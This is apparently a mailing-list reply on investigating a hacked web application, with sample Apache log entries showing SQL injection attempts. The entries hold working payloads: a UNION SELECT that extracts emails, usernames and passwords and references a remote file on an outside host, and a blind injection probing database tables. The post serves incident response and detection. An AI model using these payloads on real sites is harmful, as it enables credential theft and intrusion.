A lot of good advice has been offered, but in order to spot what  
happened, somebody will have to examine the web server logs to look  
for evidence of SQL injection or whatever method was used to exploit  
the application.

With that in mind, here are some examples of SQL injection that might  
be useful (from Apache logs):

atta.cker.ip.address www.vulnerableserver.com - [13/Apr/ 
2008:04:23:43-0800] "GET /index.php?go=detail&id=-99999/**/union/**/ 
select/**/0,0,0,0,0,0,0,0,0,0,0x7c,email,0x3a,concat(username, 
0x3a,password),1,1,1,1,1,1,2,2,2,2,2/**/from/*http://www.hackedserver.com/html/images/idd.txt? 
??? HTTP/1.1" 200 63919 "-" "libwww-perl/5.811"

atta.cker.ip.address  - - [13/Apr/2008:04:23:43 -0800] "GET /? 
article=63+and+(select+ascii(substring(cast(+table%5fname+as+char), 
+3,+1))%2616+from+information%5fschema.tables+where+table%5ftype+%3c%3e 
+(concat(char(118),char(105),char(101),char(119)))+and+1=1++limit 
+1)HTTP/1.0" 200 53604 "-" "Opera/9.23 (Windows NT 5.1; U; en)"

Installing a web application firewall and IDS are good  
recommendations, but may provide limited protection until you  
understand and fix the vulnerability that was exploited.
